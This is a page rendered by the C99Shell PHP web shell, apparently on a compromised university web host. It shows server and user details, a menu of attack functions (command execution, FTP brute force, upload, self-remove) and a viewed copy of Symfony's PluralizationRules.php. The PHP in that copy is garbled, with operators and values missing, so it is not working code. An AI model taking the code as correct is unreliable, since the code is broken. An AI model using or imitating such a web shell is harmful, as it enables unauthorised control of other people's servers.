!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/translation/   drwxr-xr-x
Free 117.08 GB of 200.55 GB (58.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PluralizationRules.php (5.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation;

/**
 * Returns the plural rules for a given locale.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class PluralizationRules
{
    private static 
$rules = array();

    
/**
     * Returns the plural position to use for the given locale and number.
     *
     * @param int    $number The number
     * @param string $locale The locale
     *
     * @return int The plural position
     */
    
public static function get($number$locale)
    {
        if (
'pt_BR' === $locale) {
            
// temporary set a locale for brazilian
            
$locale 'xbr';
        }

        if (
strlen($locale) > 3) {
            
$locale substr($locale0, -strlen(strrchr($locale'_')));
        }

        if (isset(
self::$rules[$locale])) {
            
$return call_user_func(self::$rules[$locale], $number);

            if (!
is_int($return) || $return 0) {
                return 
0;
            }

            return 
$return;
        }

        
/*
         * The plural rules are derived from code of the Zend Framework (2010-09-25),
         * which is subject to the new BSD license (http://framework.zend.com/license/new-bsd).
         * Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
         */
        
switch ($locale) {
            case 
'az':
            case 
'bo':
            case 
'dz':
            case 
'id':
            case 
'ja':
            case 
'jv':
            case 
'ka':
            case 
'km':
            case 
'kn':
            case 
'ko':
            case 
'ms':
            case 
'th':
            case 
'tr':
            case 
'vi':
            case 
'zh':
                return 
0;
                break;

            case 
'af':
            case 
'bn':
            case 
'bg':
            case 
'ca':
            case 
'da':
            case 
'de':
            case 
'el':
            case 
'en':
            case 
'eo':
            case 
'es':
            case 
'et':
            case 
'eu':
            case 
'fa':
            case 
'fi':
            case 
'fo':
            case 
'fur':
            case 
'fy':
            case 
'gl':
            case 
'gu':
            case 
'ha':
            case 
'he':
            case 
'hu':
            case 
'is':
            case 
'it':
            case 
'ku':
            case 
'lb':
            case 
'ml':
            case 
'mn':
            case 
'mr':
            case 
'nah':
            case 
'nb':
            case 
'ne':
            case 
'nl':
            case 
'nn':
            case 
'no':
            case 
'om':
            case 
'or':
            case 
'pa':
            case 
'pap':
            case 
'ps':
            case 
'pt':
            case 
'so':
            case 
'sq':
            case 
'sv':
            case 
'sw':
            case 
'ta':
            case 
'te':
            case 
'tk':
            case 
'ur':
            case 
'zu':
                return (
$number == 1) ? 1;

            case 
'am':
            case 
'bh':
            case 
'fil':
            case 
'fr':
            case 
'gun':
            case 
'hi':
            case 
'hy':
            case 
'ln':
            case 
'mg':
            case 
'nso':
            case 
'xbr':
            case 
'ti':
            case 
'wa':
                return ((
$number == 0) || ($number == 1)) ? 1;

            case 
'be':
            case 
'bs':
            case 
'hr':
            case 
'ru':
            case 
'sr':
            case 
'uk':
                return ((
$number 10 == 1) && ($number 100 != 11)) ? : ((($number 10 >= 2) && ($number 10 <= 4) && (($number 100 10) || ($number 100 >= 20))) ? 2);

            case 
'cs':
            case 
'sk':
                return (
$number == 1) ? : ((($number >= 2) && ($number <= 4)) ? 2);

            case 
'ga':
                return (
$number == 1) ? : (($number == 2) ? 2);

            case 
'lt':
                return ((
$number 10 == 1) && ($number 100 != 11)) ? : ((($number 10 >= 2) && (($number 100 10) || ($number 100 >= 20))) ? 2);

            case 
'sl':
                return (
$number 100 == 1) ? : (($number 100 == 2) ? : ((($number 100 == 3) || ($number 100 == 4)) ? 3));

            case 
'mk':
                return (
$number 10 == 1) ? 1;

            case 
'mt':
                return (
$number == 1) ? : ((($number == 0) || (($number 100 1) && ($number 100 11))) ? : ((($number 100 10) && ($number 100 20)) ? 3));

            case 
'lv':
                return (
$number == 0) ? : ((($number 10 == 1) && ($number 100 != 11)) ? 2);

            case 
'pl':
                return (
$number == 1) ? : ((($number 10 >= 2) && ($number 10 <= 4) && (($number 100 12) || ($number 100 14))) ? 2);

            case 
'cy':
                return (
$number == 1) ? : (($number == 2) ? : ((($number == 8) || ($number == 11)) ? 3));

            case 
'ro':
                return (
$number == 1) ? : ((($number == 0) || (($number 100 0) && ($number 100 20))) ? 2);

            case 
'ar':
                return (
$number == 0) ? : (($number == 1) ? : (($number == 2) ? : ((($number 100 >= 3) && ($number 100 <= 10)) ? : ((($number 100 >= 11) && ($number 100 <= 99)) ? 5))));

            default:
                return 
0;
        }
    }

    
/**
     * Overrides the default plural rule for a given locale.
     *
     * @param callable $rule   A PHP callable
     * @param string   $locale The locale
     */
    
public static function set(callable $rule$locale)
    {
        if (
'pt_BR' === $locale) {
            
// temporary set a locale for brazilian
            
$locale 'xbr';
        }

        if (
strlen($locale) > 3) {
            
$locale substr($locale0, -strlen(strrchr($locale'_')));
        }

        
self::$rules[$locale] = $rule;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0127 ]--